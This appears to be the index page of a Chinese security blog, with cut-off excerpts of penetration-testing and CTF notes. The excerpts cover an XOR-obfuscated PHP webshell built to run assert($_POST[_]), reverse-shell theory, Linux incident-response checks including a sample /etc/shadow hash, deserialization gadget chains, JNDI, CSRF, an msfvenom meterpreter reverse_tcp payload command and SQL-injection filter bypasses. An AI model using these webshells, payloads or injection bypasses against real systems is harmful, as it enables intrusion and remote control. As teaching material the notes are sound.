无字母数字webshell
<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']);}
通过异或原理
php > echo chr(0x01)^'`';aphp > echo chr(0x13)^'`';sphp > echo chr(0x05)^'`';e
所以即可构造:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_=assert$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__ = _POST$___=$$__; //$___ = $_POST$_($___[_]);// assert($_POST[_])
在 php5.5.38 通过测试
但是如果切换为 php7.1.3 执行失败
构造webshell通过这种方式可以构造异或形式的webshell
<?php ...
反弹shell原理及其检测思路
反弹shell的原理文件描述符与重定向先来看这个
第一个 > 符号,将标准输出的内容重定向到文件 test.txt
第二个 < 符号,似乎不太好理解?
在我们的印象中,cat似乎就是用来读文件的,但是实际上,cat还可以这么用:
也就是说,我们输入的数据,cat 会原封不动的打印出来
cat 可以接收标准输入的数据,将其打印在标准输出(屏幕)上
于是我们就可以将标准输入这个文件描述符指向 test.txt,从而打印其内容
实际上,
< 称为输入重定向符,< 等价于 0<
> 称为输出重定向符, > 等价于1>
不行你看
实际上,Linux中总共提供了三个文件描述符
0 标准输入
1 标准输出
2 标准错误输出
这三个文件描述符,实际上就是三个指针,我们可以随时改变它们的指向。比如上文提到的,将标准输出指向了一个文件,将标准输入也指向了一个文件。
同样的,标准错误输出也可以重定向到一个文件中,不过由于 > 默认等价于 1>,所以我们需要写明
文件描述符与重定向进阶
Linux应急响应
相关命令补充入侵排查思路账号安全用户信息文件/etc/passwd
root:x:0:0:root:/root:/bin/bashaccount:password:UID:GID:GECOS:directory:shell用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
/etc/shadow 文件
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
相关命令
who 查看当前登录用户(tty本地登陆 pts远程登录)w 查看系统信息,想知道某一时刻用户的行为uptime 查看登陆多久、多少用户,负载
查找特权用户(U ...
反序列化题目整理
qwb upload当初学的时候挺难的,现在做起来觉得挺简单了
入口 Register.php
public function __destruct(){ if(!$this->registed){ $this->checker->index(); }}
调用 checker 属性的 index 方法,如果不存在,就会调用某个类的 __call 方法
正好有一个 Profile.php
public function __get($name){ return $this->except[$name];}public function __call($name, $arguments){ if($this->{$name}){ $this->{$this->{$name}}($arguments); }}
那么就可以通过 __ ...
jndi入门
基本概念JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口,JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图
从图中可以看出,JNDI相当于是更进一步的封装
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,
示例/** * @description: * @author: Pxy * @create: 2 ...
CSRF相关总结
刚开始想写这篇文章的时候有点纠结分类,感觉归类到CTF不是很好,因为在CTF中就没遇到过,归类到渗透测试呢,又感觉不太对23333,算了还是丢到渗透测试吧
同源策略(SOP)SOP影响范围包括:普通的HTTP请求、XMLHttpRequest、XSLT、XBL。
同源是指,域名,协议,端口相同
跨域的种类
协议不同
端口不同
主域名不同
子域名不同
允许跨域的标签
<script src="..."></script><img src="..."><video src="..."></video><audio src="..."></audio><embed src="..."><frame src="..."><iframe src="... ...
内网渗透常见知识
msf常用命令msfvenom参数:
-l 列出相关的值,这些值包括 payloads, encoders, nops, platforms, archs, encrypt, formats, all
-b badchar 参数被设置的时候,它的值中描述的字符将会被避免出现在 Payload 中
-e 开启payload编码
msfvenom -l encoders 列出所有的编码器
其中比较强大的有:
x86/shikata_ga_nai, cmd/powershell_base64
-i 指定编码次数
-x 指定一个特定的可执行文件作为模板,常与 -k 联合使用,保护模板程序的功能,注入的payload作为一个新的进程运行
-n 指定填充的nop数量
常用payload生成命令Windows (避免坏字节的出现)
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcpLHOST=攻击机IP LPORT=攻击机端口 -e x86/shi ...
SQL注入总结
常用的绕过手段字符型过滤单引号
字符串转换函数绕过
char()
十六进制数绕过
过滤=between, like, <, >,regexp 绕过
1 union select 1, table_name from information_schema.tables where table_name = 'users'select 1, table_name from information_schema.tables where table_name between 'u' and 'v';select 1, table_name from information_schema.tables where table_name like 'u%';
注释符# %23-- 后面要加空格/**/ 只加前半个也行;%00 Nullbyte` Backtick
过滤逗号在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号
s ...